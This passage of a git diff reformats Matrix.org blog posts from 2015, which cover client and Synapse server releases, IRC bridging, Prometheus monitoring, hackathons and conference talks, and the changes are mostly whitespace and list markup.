The client used to crash when the home server was invalid but started with http. - * The account creation used to fail if the home server had a trailing slash. - * SYAND-44 In progress text entry could be saved across crashes. - * SYAND-38 Inline image viewer in Android app. - - +* The media downloads/uploads were sometimes stuck. +* The private room creation was broken. +* SYAND-33 : number of unread messages disappears when entering another room. +* The RoomActivity creation used to crash when it was cancelled because the Room id param was not provided. +* The client used to crash when the home server was invalid but started with http. +* The account creation used to fail if the home server had a trailing slash. +* SYAND-44 In progress text entry could be saved across crashes. +* SYAND-38 Inline image viewer in Android app. diff --git a/content/blog/2015/03/2015-03-19-tadhack-mini-london.md b/content/blog/2015/03/2015-03-19-tadhack-mini-london.md index 79ca5f45a..3d5735dab 100644 --- a/content/blog/2015/03/2015-03-19-tadhack-mini-london.md +++ b/content/blog/2015/03/2015-03-19-tadhack-mini-london.md @@ -9,7 +9,7 @@ category = ["GSOC"] It's competition time! Matrix is sponsoring TADHack-mini London, which is a two-day hackathon with focus on WebRTC technology, happening on April 11 and 12 at IDEA London. We will award a Parrot Bebop Drone (which itself can be hacked via the ARDroneSDK3) to the two best hacks using Matrix, and we can't wait to see what kind of ideas people will come up with! Parrot Bebop Drone -We strongly encourage anyone to get involved - have a look at our Development Resources (scroll down a bit) and have a think of what you can create within the 16-hour timeframe. The reference Matrix web client already supports WebRTC - you can play with this by registering a user via the matrix.org web client (or you can check out the reference web client and run it on your own box), inviting a user to a 1-1 chat (click on their avatar and "start chat") and then clicking the microphone or video camera icon in the top right to start a voice/video call. +We strongly encourage anyone to get involved - have a look at our Development Resources (scroll down a bit) and have a think of what you can create within the 16-hour timeframe. The reference Matrix web client already supports WebRTC - you can play with this by registering a user via the matrix.org web client (or you can check out the reference web client and run it on your own box), inviting a user to a 1-1 chat (click on their avatar and "start chat") and then clicking the microphone or video camera icon in the top right to start a voice/video call. We brainstormed some ideas for further WebRTC/Matrix work in our GSoC (Google Summer of Code) project proposals, for example "Implementing WebRTC support in Mobile apps" and "Multi-way voice and video conferencing". These are very probably too extensive for the 16-hour hackathon, but might provide some ideas for smaller hacks. diff --git a/content/blog/2015/03/2015-03-26-synapse-0-8-1-is-here.md b/content/blog/2015/03/2015-03-26-synapse-0-8-1-is-here.md index e0343164e..f95583098 100644 --- a/content/blog/2015/03/2015-03-26-synapse-0-8-1-is-here.md +++ b/content/blog/2015/03/2015-03-26-synapse-0-8-1-is-here.md @@ -9,9 +9,9 @@ category = ["General"] Heads up that we released Synapse 0.8.1 a little while back, but we've all been too busy writing software to announce it... you know how it goes. Anyway, here are the changes:
      -
    • Disable registration by default. New users can be added using the included register_new_matrix_user script or by enabling registration in the config.
    • -
    • Add metrics to synapse. To enable metrics use config options enable_metrics and metrics_port.
    • -
    • Fix bug where banning only kicked the user.
    • +
    • Disable registration by default. New users can be added using the included register_new_matrix_user script or by enabling registration in the config.
    • +
    • Add metrics to synapse. To enable metrics use config options enable_metrics and metrics_port.
    • +
    • Fix bug where banning only kicked the user.
    Note that first one in particular: if you set up a new install, you won't be able to register new users using the API by default. This means random people on the Internet can't create accounts on your Home Server unless you actually choose to let them. Also, if you were trying to ban users and noticed that didn't work... yeah, we fixed that. diff --git a/content/blog/2015/04/2015-04-08-video-iot-through-matrix.md b/content/blog/2015/04/2015-04-08-video-iot-through-matrix.md index 6dc9ac939..cf87c4469 100644 --- a/content/blog/2015/04/2015-04-08-video-iot-through-matrix.md +++ b/content/blog/2015/04/2015-04-08-video-iot-through-matrix.md @@ -7,7 +7,7 @@ author = ["Oddvar Lovaas"] category = ["General"] +++ -Earlier this year we went to FOSDEM - as reported in an earlier blog post. +Earlier this year we went to FOSDEM - as reported in an earlier blog post. Both the recording equipment and the video team volunteers were new this year, so some problems were encountered, which means that our lightning talk video unfortunately was lost. However, our talk in the IoT-devroom is now available: @@ -19,4 +19,4 @@ Your browser does not support the video tag. The slides are also available. You can check out the slides from the lightning talk as well. -As always, questions and comments are very welcome in the #matrix:matrix.org room! +As always, questions and comments are very welcome in the #matrix:matrix.org room! diff --git a/content/blog/2015/04/2015-04-13-android-console-0-3-0.md b/content/blog/2015/04/2015-04-13-android-console-0-3-0.md index 277afb304..98f5a23d1 100644 --- a/content/blog/2015/04/2015-04-13-android-console-0-3-0.md +++ b/content/blog/2015/04/2015-04-13-android-console-0-3-0.md @@ -7,15 +7,14 @@ author = ["Oddvar Lovaas"] category = ["In the News"] +++ -Just a quick announcement that Android Console 0.3.0 has been released on the Google Play store. +Just a quick announcement that Android Console 0.3.0 has been released on the Google Play store. This release contains a whole lot of fixes, new features, and nicer UI - see the changes file for details, but in summary:
      -
    • The UI has been switched to Android's Material Design
    • -
    • Android Lollipop is now fully supported
    • -
    • We have added support for contacts
    • -
    • Various accessibility and usability fixes have been contributed by Nolan Darilek (thanks!)
    • -
    • We also have clientside GCM support thanks to Leon Handreke! We need to make some changes server-side before GCM can be used, but that's on the current ToDo-list!
    • -
    • Lots of bugs fixed, as usual, thanks to everyone who reported an issue.
    • +
    • The UI has been switched to Android's Material Design
    • +
    • Android Lollipop is now fully supported
    • +
    • We have added support for contacts
    • +
    • Various accessibility and usability fixes have been contributed by Nolan Darilek (thanks!)
    • +
    • We also have clientside GCM support thanks to Leon Handreke! We need to make some changes server-side before GCM can be used, but that's on the current ToDo-list!
    • +
    • Lots of bugs fixed, as usual, thanks to everyone who reported an issue.
    - diff --git a/content/blog/2015/04/2015-04-13-tadhack-mini-london-completed.md b/content/blog/2015/04/2015-04-13-tadhack-mini-london-completed.md index d2acd9e25..5a5cb047e 100644 --- a/content/blog/2015/04/2015-04-13-tadhack-mini-london-completed.md +++ b/content/blog/2015/04/2015-04-13-tadhack-mini-london-completed.md @@ -7,11 +7,11 @@ author = ["Oddvar Lovaas"] category = ["Events"] +++ -This weekend was spent at IDEA-London where the TADHack-mini London hackathon was going on. In total, there were around 18 different projects being hacked on all day Saturday and Sunday morning, before a 5-minute presentation on Sunday afternoon. +This weekend was spent at IDEA-London where the TADHack-mini London hackathon was going on. In total, there were around 18 different projects being hacked on all day Saturday and Sunday morning, before a 5-minute presentation on Sunday afternoon. tadhack -Four different projects used Matrix in one way or another: Matrixbot - a robot controlled through standard messages in a Matrix room - done by Scott Barstow and Anders Brownworth (project code and presentation video and picture). Neil Stratford's hack included lighting up his roll of LEDs whenever a push-notification hit his Matrix webclient (picture from the presentation). +Four different projects used Matrix in one way or another: Matrixbot - a robot controlled through standard messages in a Matrix room - done by Scott Barstow and Anders Brownworth (project code and presentation video and picture). Neil Stratford's hack included lighting up his roll of LEDs whenever a push-notification hit his Matrix webclient (picture from the presentation). The Co-Browsify hack by Žilvinas Račyla and Augustinas Bacvinka allows two people to browse the same webpage, with scrolling events being collected and duplicated to the other browser via Matrix (picture from the presentation). Finally, Matt Williams of Metaswitch created a Project Clearwater/Matrix Gateway which enables Project Clearwater/IMS to set up WebRTC calls with any matrix user (project code and pictures from the presentation) - this is the first time we have had a SIP-to-Matrix call (let alone IMS-to-Matrix) set up! @@ -22,7 +22,6 @@ As TADHack sponsors, Matrix had two Parrot Drones to hand out as prizes, and the matrixbot - All in all it was a very productive weekend, both in terms of tech and also meeting people. Thanks to everyone who participated and especially those who worked on Matrix-related hacks! Next up is the WebRTC conference and its related Kranky Geek event - which will be happen tomorrow and the day after. See you there! diff --git a/content/blog/2015/04/2015-04-17-back-from-the-webrtc-and-kranky-geek-conferences.md b/content/blog/2015/04/2015-04-17-back-from-the-webrtc-and-kranky-geek-conferences.md index 3a25485d7..cfd79f315 100644 --- a/content/blog/2015/04/2015-04-17-back-from-the-webrtc-and-kranky-geek-conferences.md +++ b/content/blog/2015/04/2015-04-17-back-from-the-webrtc-and-kranky-geek-conferences.md @@ -19,8 +19,8 @@ Later in the day it was time for the Kranky Geek, and the talk then was a bit mo matrix-krankygeek -What's great about these kind of events is the feedback and discussion following talks; lots of people have relevant experiences and opinions that they are happy to share, and of course questions on how exactly different features actually work. +What's great about these kind of events is the feedback and discussion following talks; lots of people have relevant experiences and opinions that they are happy to share, and of course questions on how exactly different features actually work. -It's always great to meet new people and have lots of various discussions. Hopefully we have got a few more people interested in Matrix - we have already seen some new joiners in the #matrix:matrix.org room! +It's always great to meet new people and have lots of various discussions. Hopefully we have got a few more people interested in Matrix - we have already seen some new joiners in the #matrix:matrix.org room! Next up is Fluent in San Francisco next week, where I will be speaking. diff --git a/content/blog/2015/04/2015-04-22-matrix-irc-application-service.md b/content/blog/2015/04/2015-04-22-matrix-irc-application-service.md index 8dccbe294..65b413f04 100644 --- a/content/blog/2015/04/2015-04-22-matrix-irc-application-service.md +++ b/content/blog/2015/04/2015-04-22-matrix-irc-application-service.md @@ -15,25 +15,25 @@ Like a lot of open source projects, we use IRC a lot. Naturally, we also use Mat Features:
      -
    • Specific channel-to-matrix room bridging : This is what the original IRC bot did. You can specify specific channels and specific room IDs, and messages will be bridged.
    • -
    • Dynamic channel-to-matrix room bridging : This allows Matrix users to join any channel on an IRC network, rather than being forced to use one of the specific channels configured.
    • -
    • Two-way PM support : IRC users can PM the virtual "M-" users and private Matrix rooms will be created. Likewise, Matrix users can invite the virtual "@irc_Nick:domain" user IDs to a room and a PM to the IRC nick will be made.
    • -
    • IRC nick changing support : Matrix users are no longer forced to use "M-" nicks and can change them by sending "!nick" messages directly to the bridge.
    • -
    • Ident support : This allows usernames to be authenticated for virtual IRC clients, which means IRC bans can be targeted at the Matrix user rather than the entire application service.
    • +
    • Specific channel-to-matrix room bridging : This is what the original IRC bot did. You can specify specific channels and specific room IDs, and messages will be bridged.
    • +
    • Dynamic channel-to-matrix room bridging : This allows Matrix users to join any channel on an IRC network, rather than being forced to use one of the specific channels configured.
    • +
    • Two-way PM support : IRC users can PM the virtual "M-" users and private Matrix rooms will be created. Likewise, Matrix users can invite the virtual "@irc_Nick:domain" user IDs to a room and a PM to the IRC nick will be made.
    • +
    • IRC nick changing support : Matrix users are no longer forced to use "M-" nicks and can change them by sending "!nick" messages directly to the bridge.
    • +
    • Ident support : This allows usernames to be authenticated for virtual IRC clients, which means IRC bans can be targeted at the Matrix user rather than the entire application service.
    The use of the Application Services API means:
      -
    • The bot can reserve user IDs. This prevents humans from registering for @irc_... user IDs which would then clash with the operation of the bot.
    • -
    • The bot can reserve room aliases. This prevents humans from register for #irc_... aliases which would then clash with the operation of the bot.
    • -
    • The bot can trivially manage hundreds of users. Events are pushed to the application service directly. If you tried to do this as a client-side bot, you would need one event stream connection per virtual user.
    • -
    • The bot can lazily create rooms on demand. This means Matrix users can join non-existent room aliases and have the application service quickly track an IRC channel and create a room with that alias, allowing the join request to succeed.
    • +
    • The bot can reserve user IDs. This prevents humans from registering for @irc_... user IDs which would then clash with the operation of the bot.
    • +
    • The bot can reserve room aliases. This prevents humans from register for #irc_... aliases which would then clash with the operation of the bot.
    • +
    • The bot can trivially manage hundreds of users. Events are pushed to the application service directly. If you tried to do this as a client-side bot, you would need one event stream connection per virtual user.
    • +
    • The bot can lazily create rooms on demand. This means Matrix users can join non-existent room aliases and have the application service quickly track an IRC channel and create a room with that alias, allowing the join request to succeed.
    Implementation details:
      -
    • Written in Node.js, designed to be run using forever.
    • +
    • Written in Node.js, designed to be run using forever.
    • Built on the generic matrix-appservice-node framework.
    • -
    • Supports sending metrics in statsd format.
    • -
    • Uses matrix-appservice-node to provide a standardised interface when writing application services, rather than an explicit web framework (though under the hood matrix-appservice-node is using Express).
    • +
    • Supports sending metrics in statsd format.
    • +
    • Uses matrix-appservice-node to provide a standardised interface when writing application services, rather than an explicit web framework (though under the hood matrix-appservice-node is using Express).
    At present, the IRC application service is in beta, and is being run on #matrix and #matrix-dev. If you want to give it a go, check it out on Github - it is not currently released on npm. N.B. it requires features from the develop branch of synapse; either run your own synapse off the develop branch or wait a few days for us to release Synapse 0.9.0. diff --git a/content/blog/2015/04/2015-04-23-monitoring-synapse-metrics-with-prometheus.md b/content/blog/2015/04/2015-04-23-monitoring-synapse-metrics-with-prometheus.md index c1294fa86..22cedc78a 100644 --- a/content/blog/2015/04/2015-04-23-monitoring-synapse-metrics-with-prometheus.md +++ b/content/blog/2015/04/2015-04-23-monitoring-synapse-metrics-with-prometheus.md @@ -11,7 +11,7 @@ category = ["Tutorials"] Synapse has had support for exporting a comprehensive range of metrics via HTTP since 0.8.1 - we added this to help quantify the benefits of all the performance work which is going on currently in advance of Synapse 0.9. If you're interested in monitoring your own synapse and seeing what's going on using something like Prometheus, Leo just wrote a quick tutorial on getting up and running: -#### How to monitor Synapse metrics using Prometheus +### How to monitor Synapse metrics using Prometheus
    1: Install prometheus:
    Follow instructions at http://prometheus.io/docs/introduction/install/
    @@ -37,7 +37,7 @@ job: {'{'} name: "synapse" target_group: {'{'} - target: "http://localhost:9092/" + target: "" {'}'} {'}'} diff --git a/content/blog/2015/04/2015-04-24-ios-welcome-to-matrixkit.md b/content/blog/2015/04/2015-04-24-ios-welcome-to-matrixkit.md index f225b4eff..4b6bfc8ac 100644 --- a/content/blog/2015/04/2015-04-24-ios-welcome-to-matrixkit.md +++ b/content/blog/2015/04/2015-04-24-ios-welcome-to-matrixkit.md @@ -9,8 +9,8 @@ category = ["Tutorials"] Historically we've had two projects for iOS:
      -
    • MatrixSDK: a low level library to interact with a Matrix homeserver
    • -
    • Console: an example Matrix client based on MatrixSDK
    • +
    • MatrixSDK: a low level library to interact with a Matrix homeserver
    • +
    • Console: an example Matrix client based on MatrixSDK
    The primary intention of Console was to demonstrate how to use MatrixSDK to write a Matrix client app. @@ -35,9 +35,9 @@ MatrixKit repository is here: https://github.com/matrix-org/matrix-ios-sdk -
  • https://github.com/matrix-org/matrix-ios-kit
  • -
  • https://github.com/matrix-org/matrix-ios-console
  • +
  • https://github.com/matrix-org/matrix-ios-sdk
  • +
  • https://github.com/matrix-org/matrix-ios-kit
  • +
  • https://github.com/matrix-org/matrix-ios-console
  • Other releases: diff --git a/content/blog/2015/05/2015-05-11-announcing-synapse-0-9-0-and-matrix-angular-sdk-0-6-6.md b/content/blog/2015/05/2015-05-11-announcing-synapse-0-9-0-and-matrix-angular-sdk-0-6-6.md index 01ff59bd4..e1332d626 100644 --- a/content/blog/2015/05/2015-05-11-announcing-synapse-0-9-0-and-matrix-angular-sdk-0-6-6.md +++ b/content/blog/2015/05/2015-05-11-announcing-synapse-0-9-0-and-matrix-angular-sdk-0-6-6.md @@ -19,57 +19,53 @@ Finally, we have done some work on improving the Application Service API, making General:
      -
    • Add support for using a PostgreSQL database instead of SQLite. See postgres.rst for details.
    • -
    • Add password change and reset APIs. See Registration in the spec.
    • -
    • Fix memory leak due to not releasing stale notifiers - SYN-339.
    • -
    • Fix race in caches that occasionally caused some presence updates to be dropped - SYN-369.
    • -
    • Check server name has not changed on restart.
    • -
    • Add a sample systemd unit file and a logger configuration in contrib/systemd. Contributed Ivan Shapovalov.
    • +
    • Add support for using a PostgreSQL database instead of SQLite. See postgres.rst for details.
    • +
    • Add password change and reset APIs. See Registration in the spec.
    • +
    • Fix memory leak due to not releasing stale notifiers - SYN-339.
    • +
    • Fix race in caches that occasionally caused some presence updates to be dropped - SYN-369.
    • +
    • Check server name has not changed on restart.
    • +
    • Add a sample systemd unit file and a logger configuration in contrib/systemd. Contributed Ivan Shapovalov.
    Federation:
      -
    • Add key distribution mechanisms for fetching public keys of unavailable remote home servers. See Retrieving Server Keys in the spec.
    • +
    • Add key distribution mechanisms for fetching public keys of unavailable remote home servers. See Retrieving Server Keys in the spec.
    Configuration:
      -
    • Add support for multiple config files.
    • -
    • Add support for dictionaries in config files.
    • -
    • Remove support for specifying config options on the command line, except for: +
    • Add support for multiple config files.
    • +
    • Add support for dictionaries in config files.
    • +
    • Remove support for specifying config options on the command line, except for:
      • --daemonize - Daemonize the home server.
      • -
      • --manhole - Turn on the twisted telnet manhole service on the given port.
      • -
      • --database-path - The path to a sqlite database to use.
      • -
      • --verbose - The verbosity level.
      • -
      • --log-file - File to log to.
      • -
      • --log-config - Python logging config file.
      • -
      • --enable-registration - Enable registration for new users.
      -
    • +
    • --manhole - Turn on the twisted telnet manhole service on the given port.
    • +
    • --database-path - The path to a sqlite database to use.
    • +
    • --verbose - The verbosity level.
    • +
    • --log-file - File to log to.
    • +
    • --log-config - Python logging config file.
    • +
    • --enable-registration - Enable registration for new users.
    + Application services:
      -
    • Reliably retry sending of events from Synapse to application services, as per Application Services spec.
    • -
    • Application services can no longer register via the /register API, instead their configuration should be saved to a file and listed in the synapse app_service_config_files config option. The AS configuration file has the same format as the old /register request. See application_services.rst for more information.
    • +
    • Reliably retry sending of events from Synapse to application services, as per Application Services spec.
    • +
    • Application services can no longer register via the /register API, instead their configuration should be saved to a file and listed in the synapse app_service_config_files config option. The AS configuration file has the same format as the old /register request. See application_services.rst for more information.
    - - Changes in Matrix Angular SDK 0.6.6: Features:
      -
    • Add password change and reset feature using v2_alpha APIs.
    • +
    • Add password change and reset feature using v2_alpha APIs.
    - Bug fixes:
      -
    • Fix memory leak caused by not removing a watcher on the root scope.
    • +
    • Fix memory leak caused by not removing a watcher on the root scope.
    - diff --git a/content/blog/2015/05/2015-05-11-matrix-at-webrtc-conference-expo-miami.md b/content/blog/2015/05/2015-05-11-matrix-at-webrtc-conference-expo-miami.md index adfc25e95..60e273377 100644 --- a/content/blog/2015/05/2015-05-11-matrix-at-webrtc-conference-expo-miami.md +++ b/content/blog/2015/05/2015-05-11-matrix-at-webrtc-conference-expo-miami.md @@ -9,6 +9,6 @@ category = ["General"] webrtc-logo-footer Matrix.org is happy to be sponsoring and talking at the WebRTC Conference and Expo in Miami, Florida, 12-14 May. Both Amandine and Matthew will be there - please come have a chat by booth #22! This is one of the longest running WebRTC Events, and Matthew is delivering one of the keynotes of the conference on Wednesday 4:00-4:30pm in room K-07. -Matthew will also participate in the "Open Source Options for WebRTC Development" session in room D2-02 at 9:50am on Wednesday (full agenda here). +Matthew will also participate in the "Open Source Options for WebRTC Development" session in room D2-02 at 9:50am on Wednesday (full agenda here). -Finally, Matrix will also be part of the WebRTC World Demos in room X-07 sometime between 4:30 and 7:30pm on Wednesday. Expect a dangerous demo! +Finally, Matrix will also be part of the WebRTC World Demos in room X-07 sometime between 4:30 and 7:30pm on Wednesday. Expect a dangerous demo! diff --git a/content/blog/2015/05/2015-05-26-next-up-kamailio-world.md b/content/blog/2015/05/2015-05-26-next-up-kamailio-world.md index 892f13a81..ea336d8e1 100644 --- a/content/blog/2015/05/2015-05-26-next-up-kamailio-world.md +++ b/content/blog/2015/05/2015-05-26-next-up-kamailio-world.md @@ -9,6 +9,6 @@ category = ["Events"] kamailio-world-banner-2014-200x90In our continuous journey around the world to promote Matrix, this week we have come to Kamailio World in Berlin, Germany. During the conference, there will be 5 technical workshops and 28 presentations about SIP, VoIP, WebRTC and other real time communication technologies - and Matthew will talk about Matrix at 11am on Friday. -I'm looking forward to lots of interesting talks (full schedule here), including an open discussion panel with Randy Resnick about real-time communications at 17:10 Thursday evening. Of course there will also be dangerous demos - and hopefully lots of people interested in Matrix! If you are going to the conference, please come and say hello - we will be exhibiting as well as presenting, and we will be there all day Thursday and Friday. +I'm looking forward to lots of interesting talks (full schedule here), including an open discussion panel with Randy Resnick about real-time communications at 17:10 Thursday evening. Of course there will also be dangerous demos - and hopefully lots of people interested in Matrix! If you are going to the conference, please come and say hello - we will be exhibiting as well as presenting, and we will be there all day Thursday and Friday. Bis dann! diff --git a/content/blog/2015/06/2015-06-01-matrix-wins-most-entertaining-demo-at-kamailio-world.md b/content/blog/2015/06/2015-06-01-matrix-wins-most-entertaining-demo-at-kamailio-world.md index f96d56ce7..a9bb82f34 100644 --- a/content/blog/2015/06/2015-06-01-matrix-wins-most-entertaining-demo-at-kamailio-world.md +++ b/content/blog/2015/06/2015-06-01-matrix-wins-most-entertaining-demo-at-kamailio-world.md @@ -23,4 +23,4 @@ A video from the dangerous demo event is available here: The Parrot Drone we use in the demo has a 14 megapixel fisheye camera with advanced stabilization techniques which means that you can't actually see what happened when everybody went "ooh" - I assure you the "flip" command does exactly what you would expect! -Thanks to everybody who talked to us at Kamailio - and as always, come find us in the #matrix:matrix.org room on Matrix! +Thanks to everybody who talked to us at Kamailio - and as always, come find us in the #matrix:matrix.org room on Matrix! diff --git a/content/blog/2015/06/2015-06-05-global-tadhack-hackathon.md b/content/blog/2015/06/2015-06-05-global-tadhack-hackathon.md index 730d1c698..fcf8ff9f9 100644 --- a/content/blog/2015/06/2015-06-05-global-tadhack-hackathon.md +++ b/content/blog/2015/06/2015-06-05-global-tadhack-hackathon.md @@ -11,7 +11,6 @@ category = ["General"] Next weekend, June 13 and 14, the global TADHack takes place all over the world. You can participate on site or remotely, and there are a lot of different prizes to be won - in total the prize pot is worth $35k! - For the best two hacks using our technology, we will award a whole lot of Tessel modules! Tessel is a new breed of development board that runs entirely on Node.js, and they come with different modules you can plug in - for more information, see: getting started & sample projects. Both prizes will include several tessel modules, including: @@ -19,23 +18,21 @@ Both prizes will include several tessel modules, including: tessel
      -
    • multiple core tessel boards
    • -
    • multiple servo modules and many servo motors
    • -
    • multiple ambient modules
    • -
    • multiple accelerometer modules
    • -
    • camera module
    • -
    • GPS module with antenna
    • -
    • microsd module
    • -
    • bluetooth module
    • -
    • audio module
    • -
    • climate module
    • -
    • relay module
    • -
    • RFID module
    • -
    • DIY module kit
    • +
    • multiple core tessel boards
    • +
    • multiple servo modules and many servo motors
    • +
    • multiple ambient modules
    • +
    • multiple accelerometer modules
    • +
    • camera module
    • +
    • GPS module with antenna
    • +
    • microsd module
    • +
    • bluetooth module
    • +
    • audio module
    • +
    • climate module
    • +
    • relay module
    • +
    • RFID module
    • +
    • DIY module kit
    - - -Matrix.org will be present at the London site, Idea London in Shoreditch, where we will help both local and remote participants (via #matrix:matrix.org) using the Matrix APIs as part of their hacks. +Matrix.org will be present at the London site, Idea London in Shoreditch, where we will help both local and remote participants (via #matrix:matrix.org) using the Matrix APIs as part of their hacks. So if you have some spare time next weekend - why not have a think about what could be a cool hack and join us for the global TADHack event! See you there! diff --git a/content/blog/2015/06/2015-06-16-global-tadhack-matrix-hacks.md b/content/blog/2015/06/2015-06-16-global-tadhack-matrix-hacks.md index ac0228f4d..fcb0c75d6 100644 --- a/content/blog/2015/06/2015-06-16-global-tadhack-matrix-hacks.md +++ b/content/blog/2015/06/2015-06-16-global-tadhack-matrix-hacks.md @@ -11,11 +11,11 @@ Over 800 hackers all over the world spent this weekend working on hacks and prot After a hectic weekend, over 90 different hacks were submitted and presented. There was a live stream available (archive here) so that everyone could watch all the submissions. We were of course particularly interested in Matrix-related hacks, and there were several:
      -
    • Matt Williams continued his Project Clearwater/Matrix integration from TADHack-mini London earlier this year; this time he added support for IM{'<->'}SIP MESSAGEs.
    • -
    • Rob Pickering bridged his company's keevio system to Matrix via the AS API.
    • -
    • Sacha Nacar and Mike Dauphinais wrote a sign-language interpreter that uses Matrix for conversations.
    • -
    • Igor Pavlov made it possible for users of Lytespark to be contacted via Matrix and OpenMarket's SMS AS when they are offline.
    • -
    • Phani Pasupula showed a PoC for using Matrix as a platform for starting a Dialogic XMS conference.
    • +
    • Matt Williams continued his Project Clearwater/Matrix integration from TADHack-mini London earlier this year; this time he added support for IM{'<->'}SIP MESSAGEs.
    • +
    • Rob Pickering bridged his company's keevio system to Matrix via the AS API.
    • +
    • Sacha Nacar and Mike Dauphinais wrote a sign-language interpreter that uses Matrix for conversations.
    • +
    • Igor Pavlov made it possible for users of Lytespark to be contacted via Matrix and OpenMarket's SMS AS when they are offline.
    • +
    • Phani Pasupula showed a PoC for using Matrix as a platform for starting a Dialogic XMS conference.
    In the end, we had to pick only two of these awesome hacks, which wasn't easy. We are really encouraged by seeing the Matrix ecosystem grow bigger - and more bridges to various existing systems being built; this is exactly what Matrix needs! diff --git a/content/blog/2015/06/2015-06-19-android-matrix-console-0-4-0.md b/content/blog/2015/06/2015-06-19-android-matrix-console-0-4-0.md index 1046d5eeb..cbb2d162a 100644 --- a/content/blog/2015/06/2015-06-19-android-matrix-console-0-4-0.md +++ b/content/blog/2015/06/2015-06-19-android-matrix-console-0-4-0.md @@ -7,15 +7,15 @@ author = ["Oddvar Lovaas"] category = ["Tech"] +++ -Matrix Console 0.4.0 for Android has been pushed to the Google Play store and shall be available shortly. +Matrix Console 0.4.0 for Android has been pushed to the Google Play store and shall be available shortly. This release contains a whole lot of bugfixes, new features, and nicer UI and UX - see the changes file for details, but in summary:
      -
    • Lots of UI and UX improvements (inc. long click on images)
    • -
    • Added GCM support (can be enabled/disabled)
    • -
    • Added Google analytics support
    • -
    • Added badges management
    • -
    • Added "orientation" management for images
    • -
    • Now offering image resizing before upload
    • -
    • Lots of bugfixes!
    • +
    • Lots of UI and UX improvements (inc. long click on images)
    • +
    • Added GCM support (can be enabled/disabled)
    • +
    • Added Google analytics support
    • +
    • Added badges management
    • +
    • Added "orientation" management for images
    • +
    • Now offering image resizing before upload
    • +
    • Lots of bugfixes!
    diff --git a/content/blog/2015/06/2015-06-22-the-matrix-org-irc-bridge-now-bridges-all-of-freenode.md b/content/blog/2015/06/2015-06-22-the-matrix-org-irc-bridge-now-bridges-all-of-freenode.md index 4b3eeac4a..5d5ae620f 100644 --- a/content/blog/2015/06/2015-06-22-the-matrix-org-irc-bridge-now-bridges-all-of-freenode.md +++ b/content/blog/2015/06/2015-06-22-the-matrix-org-irc-bridge-now-bridges-all-of-freenode.md @@ -14,11 +14,12 @@ Up until the end of last week the bridge was limited to synchronising a fixed nu Doing this is trivial - you just `/join #freenode_#channelname:matrix.org` from a typical Matrix client - e.g. `/join #freenode_#Node.js:matrix.org` will give you access to all of #Node.js via Matrix, effectively using Matrix as a great big distributed IRC bouncer in the sky ;) There are a few limitations in the current setup: - * We only incrementally synchronise the membership lists when folks speak in either IRC or Matrix. This is to avoid flooding either IRC or Matrix with lurkers when the bridge initially joins a channel. We have some plans to improve this in future - see BOTS-53 for some of the sordid details. - * We don't synchronise joins/parts currently to avoid flooding Matrix with lots of IRC join/part spam. Again, this will improve in future. - * You can't join +k channels. - * Kicks/bans/invites and other ACLs currently don't propagate between IRC & Matrix. (I.e. a Matrix user can be kicked from IRC, but it'll continue to sit in Matrix unless also kicked for there). +i chanmode supported however. - * Bridged public IRC rooms are not yet advertised in the public room list on matrix.org. - * It should be possible to change the nickname of your IRC user by messaging !nick irc.freenode.net MrFlibble to @appservice-irc:matrix.org. (This isn't actually turned on right now, but should be fixed shortly. See https://github.com/matrix-org/matrix-appservice-irc/blob/master/HOWTO.md#changing-nicks for details. + +* We only incrementally synchronise the membership lists when folks speak in either IRC or Matrix. This is to avoid flooding either IRC or Matrix with lurkers when the bridge initially joins a channel. We have some plans to improve this in future - see BOTS-53 for some of the sordid details. +* We don't synchronise joins/parts currently to avoid flooding Matrix with lots of IRC join/part spam. Again, this will improve in future. +* You can't join +k channels. +* Kicks/bans/invites and other ACLs currently don't propagate between IRC & Matrix. (I.e. a Matrix user can be kicked from IRC, but it'll continue to sit in Matrix unless also kicked for there). +i chanmode supported however. +* Bridged public IRC rooms are not yet advertised in the public room list on matrix.org. +* It should be possible to change the nickname of your IRC user by messaging !nick irc.freenode.net MrFlibble to @appservice-irc:matrix.org. (This isn't actually turned on right now, but should be fixed shortly. See https://github.com/matrix-org/matrix-appservice-irc/blob/master/HOWTO.md#changing-nicks for details. We'll keep chipping away at making the IRC<->Matrix mapping perfect, but in its current state it's still really usable. It's obviously beta still, but please give it a go and let us know in #matrix:matrix.org how you get on with it! diff --git a/content/blog/2015/07/2015-07-07-android-matrix-console-0-4-2.md b/content/blog/2015/07/2015-07-07-android-matrix-console-0-4-2.md index 55d8562be..ec450796d 100644 --- a/content/blog/2015/07/2015-07-07-android-matrix-console-0-4-2.md +++ b/content/blog/2015/07/2015-07-07-android-matrix-console-0-4-2.md @@ -11,20 +11,18 @@ In the spirit of releasing early and often, we have pushed Android Matrix Consol This release comes with a few new features as well as many bugfixes:
      -
    • A notification settings page has been added
    • -
    • Added an image slider (access by tapping an image)
    • -
    • Improved the management of multiple accounts
    • -
    • Retaining filenames on upload
    • -
    • Fixed the causes of two crashes that were reported via Google Analytics
    • -
    • Several bugfixes - see full changelog here
    • +
    • A notification settings page has been added
    • +
    • Added an image slider (access by tapping an image)
    • +
    • Improved the management of multiple accounts
    • +
    • Retaining filenames on upload
    • +
    • Fixed the causes of two crashes that were reported via Google Analytics
    • +
    • Several bugfixes - see full changelog here
    - -Update: +Update: We have pushed another update, version 0.4.3, after a bug was reported that affected some users upgrading to 0.4.2:
      -
    • Fixed a bug where updating to 0.4.2 caused the history list to be empty
    • -
    • Added presence information on avatars in rooms
    • +
    • Fixed a bug where updating to 0.4.2 caused the history list to be empty
    • +
    • Added presence information on avatars in rooms
    - diff --git a/content/blog/2015/07/2015-07-29-micropub-support-as-an-application-service.md b/content/blog/2015/07/2015-07-29-micropub-support-as-an-application-service.md index fd819ca5c..258768e1b 100644 --- a/content/blog/2015/07/2015-07-29-micropub-support-as-an-application-service.md +++ b/content/blog/2015/07/2015-07-29-micropub-support-as-an-application-service.md @@ -12,4 +12,3 @@ I was at IndieWebCamp Edinburgh This required the AS to support IndieAuth - which it does by sending !indieauth http://yourdomain.dom to @micropub:domain which then returns an OAuth2 URL to login via. Currently, the AS just supports a 1:1 mapping from m.text to h:entry but in the future, it can be expanded to include categories and potentially the reverse mapping (where Micropub clients can act as Matrix users!). Overall, it was a great weekend and I look forward to adding more support for IndieWeb protocols in the future. - diff --git a/content/blog/2015/08/2015-08-06-upcoming-events.md b/content/blog/2015/08/2015-08-06-upcoming-events.md index f636a939d..081e7aec8 100644 --- a/content/blog/2015/08/2015-08-06-upcoming-events.md +++ b/content/blog/2015/08/2015-08-06-upcoming-events.md @@ -9,6 +9,6 @@ category = ["Events"] After a successful visit to OSCON in Oregon 